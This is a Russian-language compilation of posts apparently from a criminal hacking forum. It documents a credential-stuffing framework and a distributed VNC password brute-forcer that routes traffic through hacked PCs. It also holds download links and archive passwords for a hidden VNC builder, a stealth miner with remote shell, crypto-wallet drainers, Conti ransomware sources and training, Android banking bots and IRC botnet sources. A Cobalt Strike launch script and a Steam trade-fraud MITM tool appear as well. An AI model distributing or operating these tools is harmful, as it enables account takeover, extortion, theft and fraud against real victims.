Модуль представляет собой независимый микросервис со своей собственной спецификацией написания. Хотя модуль можно писать на любом языке программирования, я бы все-таки рекомендовал использовать Go, поскольку он компилируется в единый исполняемый файл и легко запускается на любой платформе. Однако следует помнить, что если ваш BruteCore запущен на Linux, то модуль также должен быть скомпилирован под Linux, и аналогично для Windows.
Когда вы загружаете модуль, он запускается с параметром "-getinfo", и модуль должен вернуть JSON следующего формата:

JSON:Copy to clipboard

{
    "name": "TestModule", 
    "version": "1.0.0.0",
    "author": "0xUser",
    "data_type": 9
}

Поле "data_type" определяет тип данных комбо-листа, с которым работает модуль. Вот возможные значения:

Code:Copy to clipboard

4   DATA_TYPE EMAIL
5   DATA_TYPE USERNAME
6   DATA_TYPE PASSWORD
7   DATA_TYPE PIN
8   DATA_TYPE USERNAME:PASSWORD
9   DATA_TYPE EMAIL:PASSWORD
10  DATA_TYPE DATA

Все вышеперечисленные типы вы можете найти в таблице reference в БД которая лежит рядом с проектом. Если какого-либо поля из выше приведенного формата json нету в модуле, BruteCore установит значение none, как выше на картинке в поле “Версия”. Сами модули сохраняются в папке modules рядом с софтом.
Если какого-либо поля из вышеприведенного JSON отсутствует в модуле, BruteCore установит его значение в "none".
Модули сохраняются в папке "modules" рядом с программой.
При запуске модуля для перебора, он вызывается с аргументом "-port", указывающим порт, на котором должен быть запущен микросервис.
Модуль должен иметь эндпоинт POST "/ExecuteModule", который принимает JSON следующего формата:

JSON:Copy to clipboard

{
  "email": "0xUser@0xuser.cf",
  "username": "0xUser",
  "password": "xss.password",
  "pin": "1234",
  "data": "example_data",
  "timeout": 15000,
  "proxy_host": "127.0.0.1",
  "proxy_port": 8080,
  "proxy_type": 18
}

Практически все поля являются опциональными. Практически все поля являются опциональными, некоторые из них могут отсутствовать, например если брут идет без прокси то соответствующих полей в json не будет, если был выбран 9 тип комбо-листа то будут присутствовать поля email и password и уже соответственно по разным типам комбо-листа. Сервис проводит определенные действия с данными и возвращает JSON следующего вида:

JSON:Copy to clipboard

{
  "status": 25,
  "log": "proxy: 127.0.0.1:8080 \n some additional data in log"
}

Поле log является опциональным и впринципе может отсутствовать если оно вам не нужно. Статус может иметь следующие значения:

Code:Copy to clipboard

25  RESULT  Хорошие
26  RESULT  Плохие
27  RESULT  Ошибки Соединения
28  RESULT  Ошибки ПО
29  RESULT  Капча
30  RESULT  С балансом
31  RESULT  Пустышки
32    RESULT    Зарегестрирован
33    RESULT    Залимиченные

По идее всю основную работу делают модули, сам же БрутКор выступает в роли некоего оркестратора, который запускает нужный сервис, поддерживает его в рабочем состоянии, отправляет на него входные данные, дальше происходит модульная магия, “особые физико-математические вычисления” в результате которых мы и узнаем гуд, бэд это или еще что-то.
ВАЖНО!! Поскольку мы работает уже с скомпилированными модулями, там могут быть всякие “закладки”, ведь тут для разработчика нет абсолютно никаких ограничений в плане того какой код писать какие библиотеки использовать и т.д., поэтому стоит быть очень аккуратным и использовать модуль только от доверенных людей, либо писать модули самому. Береженного бог бережет!
Ниже в статье вы можете найти пример готового модуля и использовать его как шаблон для написания своих модулей.

Сессии

В сессиях все относительно просто, создаете новую сессию кнопочкой добавить потом нажимаете на стрелочку справа и переходите к деталям конкретной сессии.

Выбираете комбо-лист который хотите брутить, после чего вы можете выбрать прокси либо из готового пресете, либо уже загрузить из файла, который есть на тачке с которой вы подключаетесь, если хотите брутить без прокси то ничего не выбираете и брут будет идти без прокси. Выбираете модуль, проставляете нужное вам количество потоков и запускаете.

Менять прокси лист, комбо лист или модуль во время перебора вообще не желательно. Но вы можете поменять количество потоков прям во время работы, софт автоматически подхватит количество потоков и при необходимости избавится от лишних, либо создаст новые неостающие. Что бы получить статистику по бруту нужно нажимать на кнопку обновить справа от слова статистика, да возможно это не удобно, может следовало сделать что бы он по вебсокетам обновлял статистику, ну хз, не захотел делать дополнительную нагрузку на софт. Результаты соответственно можно посмотреть нажав на кнопку результаты, откроется следующая вьюшка.

Собственно здесь обычная пагинация по результатам, выбираете что хотите посмотреть, сколько должно отображаться записей разом и уже смотрите.

Результат можно скачать в друх форматах, либо txt, либо xlsx, думаю кто работал с экселем обязательно заценит. Если по гудам были какие-то логи то они будут в правой колонки с логом. Тут уже зависит от проекта который вы запускаете.
**
Инструкция по использованию**

Устанавливаем Node.js с официальнго сайта https://nodejs.org/en/download.
Устанавливаем Vue-cli командой npm install -g @vue/cli.
Устанавливаем Golang с официального сайта https://go.dev/doc/install.
Качаем исходник фронтенда и бэкенда.
В папке с фронтом запускаем npm i в папке с бэком go mod tidy и go mod vendor.
Если планируете запускать BruteCore у себя на тачке локально, то нужно сделать следующее:

1. В папке с фронтом запускаете команду npm run serve
2. В папке с бэком запускаете команду go run .
3. Переходите в браузере по localhost:8080
4. Готово

Если будете запускать BruteCore на сервере, то нужно сделать следующее:

1. В папке с фронтом, в файле src\main.js, на 12 строке меняете http://127.0.0.1:985 на свой домен или адрес сервера (например: http://0xuser.cf, http://255.255.255.255)
2. В папке с фронтом запускаете npm run build, вьюшка соберет все исходники и создастся папка dist, в которой будут лежать все необходимое для фронта.
3. В папке с исходник бекенда, в файле “.env” меняем значения AUTH_ADMIN_LOGIN, AUTH_ADMIN_PASSWORD, AUTH_VIEWER_LOGIN, AUTH_VIEWER_PASSWORD, JWT_KEY на свои, также нам нужно поменять значение JWT_KEY на любую строку, это ключ которым будут шифроваться jwt токены на сервере.
4. В папке с бэком устанавливаем переменные окружения “set goos=linux, set goarch=amd64”, если на вашем серваке какая-то другая архитектура, то указываете свою архитектуру.
5. Собираем бэк командой “go build main.go”

По итогу мы имеем папку dist с фронтом и исполняемый файл для linux с бэкендом. Теперь мы заходим на наш сервак и обновляем имеющиеся на нем пакеты до последней версии командами:
sudo apt update
sudo apt upgrade
Накатываем nginx командой:
sudo apt nginx
Копируем содержимое папки dist в папку /var/www/front.brutecore
Копируем скомпилированный main, .env, BruteCore.sqlite в папку /var/www/back.bruteforce
После запускаем команду chmod +x main
В папке /etc/nginx/sites-available создаем файл brutecore со следующим содержимым, где server_name localhost, “localhost” меняем на свой домен или адрес сервера:

NGINX:Copy to clipboard

server {
    listen      80;
    server_name localhost;
    charset utf-8;
    root    /var/www/front.brutecore;
    index   index.html;

    #Always serve index.html for any request
    location /Health { 
        proxy_pass http://127.0.0.1:985/Health;
    }

    location /api {
        proxy_pass http://127.0.0.1:985/api;
    }   

    location / {
        root /var/www/front.brutecore;
        try_files $uri  /index.html;
    }

    error_log  /var/log/nginx/vue-app-error.log;
    access_log /var/log/nginx/vue-app-access.log;
}

Дальше выполняем команду:
sudo ln -s /etc/nginx/sites-available/brutecore /etc/nginx/sites-enabled/
Также редактируем файл /etc/nginx/nginx.conf
Находим вот эти строки и раскоменчиваем их

Также нам надо рядом добавить строку: client_max_body_size 20M;
Это нужно что бы nginx сжимал стили и прочие скрипты, а также что бы мы могли без проблем загружать модули на сервер.

Перезапускаем nginx командой: sudo systemctl restart nginx
После чего запускаем бэкенд комагдой sudo nohup ./main &, и переходим в браузере по адресу нашего сервера или домена. Если все сделали правильно, то должно появиться окно входа и мы без проблем в нем авторизовываемся.
Если после входа в Учетку будете получать ошибку “failed to initialize database, got error Binary was compiled with 'CGO_ENABLED=0', go-sqlite3 requires cgo to work. This is a stub” то тогда нужно установить гошку на сервак, потом установить туда же gcc/g++ компилятор командой sudo apt-get install build-essential и после чего уже билдить приложение на серваке и оно будет работать.

Все исходники можно скачать по ссылке https://www.sendspace.com/file/2ujpbd
Специально развернул демку что бы можно было посмотреть как оно выглядит уже задеплоенное http://45.83.122.198/ Логин XSSViewer, Пароль: xss.is1pass

Hidden VNC

Билдер + Бекконект сервер.
Работает на Win 7-10 x32/x64.

Hidden content for authorized users.

https://www.sendspace.com/file/xkjyiv
пасс: L7gIRddUtTQgKML

sources - https://www.sendspace.com/file/g3twv9
pwd - GT648NDDW75fne

CH Miner - Скрытая система майнинга и контроля для любых консольных майнеров.

**

**​

**

Сканы:**

1 file

 avcheck.net

Report #1c50fbfe53da025471740bb054f851df | Dyncheck.com

dyncheck.com

​

Функционал:

• Скрытый запуск любых майнеров с консольными параметрами.​

• Определение CPU/GPU - Кол-во памяти видео карты и подбор нужного майнера в зависимости от памяти GPU​

• Майнеры отправляются в сжатом zip архиве с паролем что позволяет уменьшить рантайм детект и сжать очень тяжелые майнеры(например более 650мб что бы не слили на ВТ после крипта)​

• В комплекте 3 почищенных майнера под RavenCoin, Monero, Ethereum.​

• Авто-старт майнеров при появлении новых ботов​

Доп. Функции:

• File Loader​

• Remote Desktop​

• File Manager​

• Process Manager​

• Remote Shell​

• Execute .NET Code​

• Get Admin Privileges​

• Disable Windows Defender​

• Visit WebSite​

• Send MessageBox​

• Client: Close, Restart, update, uinstall​

• PC: LogOff, Restart, Shutdown​

• Block Bot​

Защита:

• **Aggressive - не дает запускаться популярным диспетчерам задач.**​

• **Easy - При обнаружении популярных диспетчеров задач завершает процессы майнинга и себя(ждет 4 минуты и снова запускается убивая 1 раз все диспетчеры задач)**​

Тестить на ВМ! Но вроде чист, на лева не стучал не билд не панель.


[ File on MEGA ](https://mega.nz/file/xSxgACrK#8hoiGl-

RrYnAl2L8M0-9eEDaSl_kKiu7JV9YFgVkMmo)

mega.nz

Spoiler: Скрины доп.


Gofile - Cloud Storage Made Simple

Secure, fast and free cloud storage solution. Upload and share files instantly.

gofile.io

Pass:M68gut9psitrexY465Gas

Всем привет!
Нашёл дрейнеры.
Дрейнер если кто-то не знает это программа предназначенная для быстрого и автоматизированного опустошения криптокошельков — то есть вывода из них всех (или наиболее ценных) активов на кошельки "злоумышленников"

1. MS Unlimited drainer
2. MS Solana drainer
3. Julia drainer
4. x-tondrainer
5. The open drainer drainer (хз что это)
6. НН drainer

MEGA Link

You must have at least 15 reaction(s) to view the content.

Инструкция внутри
Запускайте данный софт на виртуалке либо дедике!!!!!!
Скачать: https://mega.nz/#!ImBWnYYD!uHFvGMMH1mmisiIbAvOcE3Qnj5Tz4qxDcGikIqgKhY0

https://spyralscanner.net/result.php?id=utyYU4nORI
https://spyralscanner.net/result.php?id=8T9yQS2KEZ

Conti Ransomware Sources v3.7

You must have at least 1 reaction(s) to view the content.

Private Keeper - Приложение для разработчиков. Продвинутый инструмент для людей, которые хотят разрабатывать приложения без знания языков программирования.

Функционал программы:
Изначально данное приложение было создано как сборник брутфорсов и полезных утилит.
Но в процессе разработки, оно было практически полностью переделано и переосмысленно.
Теперь, вы сами можете создавать свои брутфорсы\утилиты с помощью in-Line технологий.
Содержит в себе утилиту для сбора приватных проксей из других приватных сервисов.
Так же есть уже готовые проекты, находятся они на данном сайте, в разделе "Магазин приложений".
Имеет огромное количество бесплатных проектов, которые постоянно пополняются.
Присутствует возможность собрать все свои другие программы в одно место в панели "Интегрированные приложения".

Дополнительные утилиты:
В программе присутствует огромный список утилит для работы с текстом и проксями.
Вам больше не нужно "таскать" с собой кучу текстовых утилит.

in-Line утилиты:
Лучшая часть программы, c помощью данных утилит, вы без проблем сможете создавать брутфорс или утилиту любой сложности.

Интеграция сторонних приложений:
В данной секции вы сможете создать ссылки на свои программы для их быстрого запуска.
В программе присутствует настройка - "Автоматически открывать программу при входе в программу", таким образом,
при запуске системы вам больше не нужно искать свои другие приложения, вам просто нужно перейти во вкладку "Интегрированные приложения".

Информация по данному релизу:
Весь функционал оффлайн проектов, редактора inLine-Kit Studio будет работать даже после официального отключения сервера автора программы.

СКАЧАТЬ | VT Private Keeper.exe

You must spend at least 1 day(s) on the forum to view the content.

Пароль: XSS.IO

Описание думаю не нужно, любители Android ботов и так знают что это.
Скачать - https://www.sendspace.com/file/qgxt59
Пароль - XsS.is
Был слит уже давненько, сейчас есть новая версия, автор maza-in. В архиве админка, apk файл, кое какие инжы даже есть.

Рабочий All In One Checker (AIOC)
VT
Hidden content for authorized users. Download

Since I already posted this on another forum I just want to share also here.
Cerberus v10 ( It is not mine , I just found it in wild and sharing) : smile2:

You must have at least 5 reaction(s) to view the content.

Видеоинструкции от Conti + инструментарий ~27 гигов.

You must have at least 0 reaction(s) to view the content.

torrent: drive.google.com/file/d/17RsKc8DKSIJ5buWfTn0EP2YrHNzSfTH1/view?usp=sharing
pass:xss.is
Или здесь:

Conti Training Ransomware

You can view and join @ContiTrainingRansomware right away.

t.me

Cobalt Strike v3.12

Teamserver Launch Script

Spoiler

Code:Copy to clipboard

#!/bin/bash
#
# Start Cobalt Strike Team Server
#

# make pretty looking messages (thanks Carlos)
function print_good () {
   echo -e "\x1B[01;32m[+]\x1B[0m $1"
}

function print_error () {
   echo -e "\x1B[01;31m[-]\x1B[0m $1"
}

function print_info () {
   echo -e "\x1B[01;34m[*]\x1B[0m $1"
}

# check that we're r00t
if [ $UID -ne 0 ]; then
print_error "Superuser privileges are required to run the team server"
exit
fi

# check if java is available...
if [ $(command -v java) ]; then
true
else
print_error "java is not in \$PATH"
echo "    is Java installed?"
exit
fi

# check if keytool is available...
if [ $(command -v keytool) ]; then
true
else
print_error "keytool is not in \$PATH"
echo "    install the Java Developer Kit"
exit
fi

# generate a certificate
# naturally you're welcome to replace this step with your own permanent certificate.
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
# is printed so users may have a chance to verify they're not being owned.
if [ -e ./cobaltstrike.store ]; then
print_info "Will use existing X509 certificate and keystore (for SSL)"
else
print_info "Generating X509 certificate and keystore (for SSL)"
keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
fi

# start the team server.
java -XX:parallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*

Скачать:

You must have at least 10 message(s) to view the content.

Версия полная, без триальных лимитов.

Итак, тут будем класть исходники ботов.
Партия первая:

• urxbot
• spybot
• sdbot
• rxbot
• rbot
• phatbot
• litmus
• gtbot
• forbot
• evilbot
• darkirc
• agobot
• jbot
• microbot
• blueyebot
• icebot
• q8bot
• happybot
• htmlinfectbot
• gsys
• epicbot
• darkbot
• r00fuz
• panicattack

Скачать|Download

Размер: ~75 мегов
Внутри ИСХОДНИКИ

---------------------------- КАК СКАЧАТЬ С ТОРРЕНТОВ

Added by: DeusTirael
Чтобы скачать - нужен любой Bittorent клиент.
Я рекомендую Azureus.

Azureus 2.3.0.6
BitTorrent-клиент для быстрой загрузки файлов. Особенно подходит для скачки файлов большого размера. Поддерживает мультизагрузку, настройку очереди/приоритета, докачку недокаченных фрагментов, переключение языка интерфейса и многое другое. Кроме этого, программа расширяется плагинами <скачать плагины>
Для работы Azureus требуется виртуальная <Java-машина>. Обратите внимание: в некоторых вариантах Windows XP java-машины может не быть, и тогда Azureus сам предложит ее загрузить.

<Скачать Azureus 2.3.0.6>
После перехода по ссылке загрузка программы Azureus 2.3.0.6 начнется через 10 секунд автоматически.
------------------------------------------------------------------------------------------

Чекер слит из под хайда на BHF
Адаптирован под private keeper
Сам не юзал!

You must have at least 25 message(s) to view the content.

Не так давно с кодил обычный USB распространитель
И решил выложить на этот форум
Что это прога делать?
инфицирует все папки на флеш носители,
то есть при запуске папки запуститься
сам распространитель
так же можно склеить сам билд файла с вашим exe.
Пишите в комы какой функционал хотели бы увидеть данного USB Spread.
git: https://github.com/GayFox/Malware.git

XSS Linux - это операционная система, основанная на Ubuntu. При разработке данного дистрибутива учитывались все пожелания людей, которые хотят остаться анонимными в сети.
Для этого было сделано следующее:

• Весь трафик в системе пропущен через TOR
• DNS сервера от TOR'а
• Установлен TOR браузер (для избежания утечек webrtc)
• Настроен PSI+ на работу с ТОР.
• Любое ПО в системе может работать с onion доменами
• Максимально лёгкий вес дистрибутива
• Максимально быстрая загрузка дистрибутива
• Установлено ПО для работы с doc(x), xls(x) файлами (Libre office) (чтобы не тягать из виртуалки в хостовую ОС документы)
• Графическая оболочка LXQt, которую вы можете настроить по своему желанию

Текущая версия BETA 0.0.2
Скачать: Версия для VmWare

готов выслушать отзывы и предложения.

TODO:

• Добавить свои репозитории для обновления системы

Настоятельно рекомендую поместить виртуальную машину в VeraCrypt контейнер (размер 50 гб), чтобы избежать неправомерного доступа к личной информации на виртуальной машине.

У этого софта нет названия, да и наверняка не будет. Лишь объясняющее его предназначение - фейк-удержание предметов.

Начнём наверное с объяснения, что же такое этот ваш MITM?

MITM - это сокращение от "Man-in-the-Middle" (Человек посередине). Давай разберемся, что это за штука. Представь, у тебя есть два друга, Кирилл и Лёха, и они обмениваются сообщениями. Ты решаешь влезть между ними, будучи как бы в середине. Так вот, ты - этот MITM. Твоя цель? На самом деле, она не всегда дружелюбная. Ты можешь подслушивать и даже изменять их сообщения без их ведома.

наглядный пример(взят с гитхаба)​

Думаю всем стало ясно, что такое MITM-атака..- Почему именно Steam, почему именно туда?

В Steam ежедневно обманывают кучу людей на тысячи рублей(а может и долларов), зачастую это подмена, но какой идиот будет вводить свой логин и пароль, так ещё и мобильный аутенфикатор(таких полудурков куча, я соглашусь с вами), а что если мы сделаем всё намного проще? Людям не придётся вводить ни логины, ни паролы, никакие коды, а мы всё равно опустошим их карманы. Всё зависит от наших навыков социальной инженерии, в Steam обменах существует такая система как удержание трейда, как она работает? Всё достаточно просто: человек получает предметы в удержание(как в гаранте, и сам стим назвал это Escrow), то есть они просто зависли в воздухе, но ничего мы с ними сделать не сможем, и лишь через некое время мы их получим(зачастую это 15 дней). А зачем нам это ПО с MITM-атакой, чем оно нам поможет? Мы будем симулировать, что у нас будет трейд в удержание, зачастую это по таким причинам как непривязанный номер телефона, недостаточно времени держится на аккаунте мобильный аутенфикатор.

И что?!..- Если мы дошли до такой степени, то почему бы не заставить Steam снимать блокировки?

К сожалению такое невозможно, есть конечно непроверенная информация, но мне заявляли, что таким способом люди снимали VAC-баны в CS:GO, и могли играть в рейтинг(честно, звучит бредово). Над этим проектом работал я суммарно неделю, где первые два-три дня убивал, да как же это вообще реализовать?!! Разве такое возможно?!..- Да, возможно. Я наверное тратил своё время в глупую, пытаясь сделать инъекцию в сам Steam-клиент, и менять таким образом данные через память, но, как же это было всё таки глупо! Осознав, что весь Steam-клиент это на самом деле один большой браузер, ко мне пришло осознание, что всё намного проще чем есть..

Spoiler: ознакомиться

Где деньги, где же суть от такого ПО?!

Деньги есть, были, и будут. Наверное не такие огромные, чтобы я мог поразить в шок или некий ужас, да и вообще больше похоже всё это на некий детский обман. Так и есть, скорей всего, но пока я еще учусь в школе, меня впринципе устраивает этот малый хлеб, сейчас так же ведется разработка система лицензий(сомневаюсь, что кому с этого форума это будет интересно). Наверное первая суть этого ПО, когда я его писал - это деньги, серьёзно, знания есть, а заказов нет, это плачевно на самом деле. В данный момент, для читателей этой статьи - это лёгкие уязвимости Steam, которые лежат на плаву, может для кого нибудь удочка, а может кому то просто интересно почитать и узнать что-то новое.

Spoiler: прибыль за сентябрь

Давайте теперь перейдём к самому главному!

Демонстрация работы этого ПО на практике, наверное стоило бы мне побояться некой анонимности, и понять, что всё таки планета круглая и все мы рано или поздно свидемся.

Spoiler: Демонстрация


[ DropMeFiles – free one-click file sharing service

](https://dropmefiles.com/8zGxj)

Share your pictures, send large videos, exchange music or transfer big files. No registration required. Unlimited upload/download speed.

dropmefiles.com

На чем же написано всё это?

Всеми любимый(ненавистный) - Python 3.12. Наверное рукастые будут меня бить за несоблюдение структуры в коде, и прочего, но прошу вас, если вы всё таки хотите мне показать и тыкнуть пальцем где я сделал, что либо не так, то не надо просто кричать 'АААА ГОВНОКОД', сформулируйте свои мысли и адекватно напишите их на клавиатуре, можете прям сюда.

Как установить?

Установите Python 3.12 - при установке обязательно нажмите ADD TO PATH.
Откройте cmd и введите следующую команду

Code:Copy to clipboard

pip install mitmproxy

Запустите ПО и введите рандомную почту.
Перейдите на http://mitm.it/ - и установите сертификат в соответствии с инструкциями на вашу ОС.
Закройте ПО и перезапустите его. Если у вас ошибки с SSL сертификатом, попробуйте переустановить всё с выключенным брэндмауэром.
Готово!

Где ознакомиться с кодом?

Приложен в архиве steam.zip

UPD

-не могу разобраться как сюда вставить видео с демонстрацией работы.. умельцы, жду от вас помощи (более не актуально)

Spoiler: Связь со мной

Мой QTOX для связи/помощи: 398409498773EFA30C59807EB9F39CC3219F2C3087F64C67916A65D609FE2362E2F06D3966DD

процесс загрузки системы

Введение
XSS.is RFB Bruter – это система распределенного перебора паролей для VNC прямо из дома через связку TOR+VPN на ферме виртуальных машин с поддержкой бэкапов, нотификации на смартфон через приложение «pushed» и масок фильтрации. В качестве источника адресов используется обработанный лог masscan (хотя можно добавлять адреса и порты «руками»), а в качестве VPN используется приложение «SoftEther VPN» и их замечательный сервис бесплатных VPN — «VPN Gate», который поможет нам не платить за VPN. Помимо этого прекрасного сервиса «SoftEther VPN» имеет ряд других важных особенностей — работа через socks (TOR), а также поддержку ICMP (ping). Подробнее об этом ниже.

Как и любая другая распределенная система, XSS.is RFB Bruter состоит из «менеджера» и «рабочих процессов». «Рабочие процессы», в свою очередь, делятся на «чекеры» и «воркеры»: первые проверяют списки ip:port на баннер VNC (а также удаляют ненужные и пропускают недоступные), вторые же — перебирают пароли, а заправляет всем этим делом «менеджер». «Рабочие процессы» и «менеджер» общаются между собой через отдельный intranet-адаптер, прямой доступ во внешний мир имеет только «менеджер» (для отправки оповещений), остальные видят мир только через связку TOR+VPN.

Обращаю внимание, что это система именно для «домашнего» использования: трафик между менеджером и рабочими процессами никак не шифруется.

Изначально система работала без VPN, напрямую через TOR (Whonix Gateway), но это накладывало ряд ограничений: Whonix «перегревался» от количества соединений и требовал регулярных ребутов, а помимо этого — часто отваливалось соединение с хостом, на котором идет перебор (TOR старается менять адреса в цепочках, через это конечный узел не всегда доступен). С VPN все работает гораздо стабильнее и быстрее: время, требуемое на пересортировку списка адресов для брута увеличилось в десятки раз, т.е. за один проход перебирается большее количество комбинаций. Кроме того, TOR не дает возможности проверить доступность сети, в отличие от VPN, который прекрасно работает с ICMP пакетами.

Системные требования
Не смотря на то, что все сильно зависит от размеров фермы, общие правила просты: как можно больше ОЗУ и SSD-накопитель (лучше NVMe, если есть такая возможность). На моем стареньком тестовом стенде с Core i7-4790 и 32 Гб ОЗУ хостится 50 VM: Менеджер (1024 Мб), TOR (512 Мб), Воркеры (24x512 Мб) и Чекеры (24x512 Мб). Загрузка выглядит вот так:

Подготовка VM
Для начала переносим папку «shared» в любое удобное место на SSD. Сам я использую VirtualBox, так что далее речь пойдет про него. В качестве ОС была выбрана Windows 7 Compact Edition, каких-либо проблем с ней не наблюдается. Устанавливаем ОС, дополнения VirtualBox и добавляем постоянную общую папку с полным доступом указав путь до ,«shared» в моем случае монтируется она на букву Z. Переходим в настройки дисплея и на вкладке «Удаленный доступ» ставим галочку «Включить сервер». Далее клонируем образ (имя лучше выбрать вида «VM01») и приступаем к настройке «рабочих процессов».

Нам понадобится один сетевой адаптер для внутренней сети с именем, скажем, «xss-brute». В настройках «Удаленного доступа» указываем порт 1001 и запускаем ОС. Устанавливаем на нее «SoftEther VPN», меняем IP на, скажем, 172.16.0.1 а имя компьютера на «VM01». В автозагрузку добавляем ярлык (именно ярлык, чтобы изменим один файл меняли параметры всех VM) на файл z:\utils\init\vpn.cmd. Также в автозагрузку необходимо добавить ярлык z:\utils\xss.checker.lnk или z:\utils\xss.worker.lnk в зависимости от типа машины. Выключаем ОС и делаем снимок системы, именуем его «Snapshot 1» и делаем клон под названием «VM02». Меняем в настройках «Удаленного доступа» порт на 1002, запускаем ОС и меняем адрес на 172.16.0.2, а имя ПК — на «VM02». Повторяем процесс необходимое количество раз, не забывая в конце снять снимок и назвать его «Snapshot 1». Обращаю внимание, что сам я использую разные VM для разных типов «рабочих процессов». Сделано это по простой причине — распределение нагрузки сети. Для «воркеров» я использую VPN, установленные на взломанных ранее ПК, для «чекеров» же — бесплатные VPN с «VPN Gate». Как показала практика, при использовании одновременно обоих типов «рабочих процессов» либо быстро обнаруживают аномальную нагрузку сети удаляют VPN, либо нужно снижать количество подключений. Если у вас купленный дедик или только бесплатные VPN — вы можете смело использовать одну VM для обеих задач, поигравшись предварительно с настройками.

Далее настоим TOR. Клонируем самую первую нашу VM, именуем ее «TOR». В настройках «Удаленного доступа» указываем порт 1111, а в настройках Сети нам понадобится два адаптера: первый — NAT, второй же — наша внутренняя сеть «xss- brute». Запускаем ОС, меняем имя ПК на «TOR», а адрес второго адаптера на 172.16.0.111. Копируем папку z:\utils\tor в корень диска C и кидаем в автозагрузку и, на всякий случай, на рабочий стол ярлык файла c:\tor\tor.cmd. Выключаем, делаем снимок «Snapshot 1».

Снова возвращаемся к первой ОС, теперь ее можно не клонировать. В настройках «Удаленного доступа» указываем порт 2222. Если нужны нотификации «pushed» - также указываем два адаптера, как у «TOR»; если не нужны — оставляем только внутреннюю сеть «xss-brute». После запуска копируем на рабочий стол ярлык z:\utils\xss.mgr.lnk, а в ностройках сетевого адаптера внутренней сети указываем адрес 172.16.0.222.

Кладем куда-нибудь недалеко, скажем, на рабочий стол ярлык для shared\utils\vbox_restart.bat.

Теперь, когда все VM готовы к работе, самое время настроить mRemoteNG. Добавляем коннекты для каждой VM, указывая в качестве IP — адрес ПК где установлен VirtualBox, а в качестве порта — порт из параметров «Удаленного доступа» и RDP в качестве протокола.

Когда все готово можно приступить к настройке системы.

Настройка системы
Большинство настроек производятся в конфиг-файлах в формате JSON, многие настройки можно изменить лишь там, т.е. не меняются «на лету».

Manager
В разделе «server» нас интересуют 3 параметра:
server: interface — на каком интерфейсе слушать порты. Лучше указать интерфейс внутренней сети (в нашем случае - 172.16.0.0), но также можно указать 0.0.0.0, чтобы порты смотрели и во внешний мир.
server: worker: port – на каком порту будут ожидаться «воркеры»
server: checker: port – на каком порту будут ожидаться «чекеры»
массив items заполнится сам.

Раздел «notify» нужен лишь при использовании приложения «pushed». Параметры notify: pushed: app_key, notify: pushed: app_secret и notify: pushed: app_alias нужно взять из аккаунта pushed.io, параметр notify: pushed: interval указывает как часто (в секундах) можно отправлять уведомления.
Параметр notify: found указывает уведомлять ли о новых подобранных паролях. Т.е. по сути включает/отключает нотификацию.

пример нотификаций

В разделе «db» указываются полные пути к базам worker.db и checker.db, а также задают параметры
db: clear_flags_on_exit – очищать флаги ошибок при выходе. За этот флаг отвечает пункт меню «Clear unsupported RFB flags on unload» из «DB Maintance». Нередко бывают случаи, что сегодня стоит аутентификация RealVNC, а завтра что- то поменяли и появился поддерживаемый тип аутентификации. Если не очищать флаги - «плохие» VNC при следующем запуске просто не будут читаться из базы, так что пункт меню «Rescan unsupported RFBs» их не учитывает.
db: rebuild_checkers_on_exit – перемешать и сжать таблицу с адресами на проверку при выходе. За этот флаг отвечает пункт меню «Rebuild Checkers on unload» из «DB Maintance». Сам я предпочитаю делать ребилд и сжатие в ручном режиме данным скриптом

SQL:Copy to clipboard

BEGIN TRANSACTION;
DROP TABLE IF EXISTS new_list;
CREATE TABLE new_list(id INTEGER NOT NULL UNIQUE,ip TEXT NOT NULL,port INTEGER NOT NULL,UNIQUE(ip,port),PRIMARY KEY(id AUTOINCREMENT));
INSERT INTO new_list(ip,port) SELECT ip,port FROM list ORDER BY RANDOM();
DROP TABLE list;
ALTER TABLE new_list RENAME TO list;
COMMIT;
VACUUM;

т.к. база у меня довольно большая (больше 4х Гб) и ребилд занимает немало времени. Кроме того, повторные проходы тоже дают свои плоды — находятся как VNC, так и не-VNC записи, т.е. база подчищается.

Раздел «checker» содержит параметры для работы «чекеров».
checker: path – путь к папке, куда скидываются файлы обработанного лога masscan
checker: max_items — размер кэша записей «чекера». Оптимально указывать из расчета количество_чекеровколичество_соединений2, можно больше. Нарпример у меня это 24*400, но указано 20000, вместо 19200.
checker: read_from_last_id – читать ли базу с начала или с позации checker: last_id. Задается пунктом меню «Start checking from last ID». У меня отключено, т.к. повторный проход по старым записям через время дает неплохой результат.

Раздел «backup» отвечает за резервное копирование
backup: path — куда копировать.
backup: compress — число от 0 до 9, где 0 — вообще без сжатия, 9 — максимальное. Ввиду особенностей базы данных ставить выше 5 смысла не вижу: скорость упадет сильно, а прироста в сжатии практически не будет.
backup: copies — количество копий. По достижению максимума удалит старейший архив.
backup: scheduler: interval — интервал в секундах, как часто копироваться.
backup: scheduler: on_load — копировать при загрузке. Задается пунктом меню «Backup on load».
backup: scheduler: on_unload — копировать при выгрузке. Задается пунктом меню «Backup on unload».

Раздел «logging» понятен итак — какие сообщения выводить в логе. Задаются в меню «Logging».

Пункт «settings» задает путь до файла параметров окна — расположения окон, выбранные вкладки, элементы.

Пункт «hello_stat» отвечает за прием статистике «рабочих процессов» при запуске: скажем, перезапускаете вы manager и вместо 0 найденных будет статистика от «работяг».

Worker и Checker имеют практически идентичные конфиги. Разберем сначала общие параметры:
manager – адрес менеджера, номера портов должны совпадать с конфигом manager.
tasks — количество соединений, подбирается индивидуально.
threads_per_core — количество потоков на процессор. И «чекер» и «воркер» работают на IOCP, так что указывать 1000 потоков не стоит. Оптимальным является цифра 2.
timeout — время на обработку подключения.
settings — параметры положения и размеров окна.
connection_check: enabled — отвечает за включение/отключение проверки наличия связи. Если проверка включена и интернета нет — задачи обрабываться не будут.
connection_check: timeout — время ожидания отклика.
connection_check: address — адрес, к которому будем пытаться подключиться для проверки связи.
connection_check: reconnect: enabled — включает/отключает переподключение в случае обрыва связи.
connection_check: reconnect: connection — имя сетевого адаптера VPN.
connection_check: reconnect: timeout — время ожидания отклика.

Spoiler

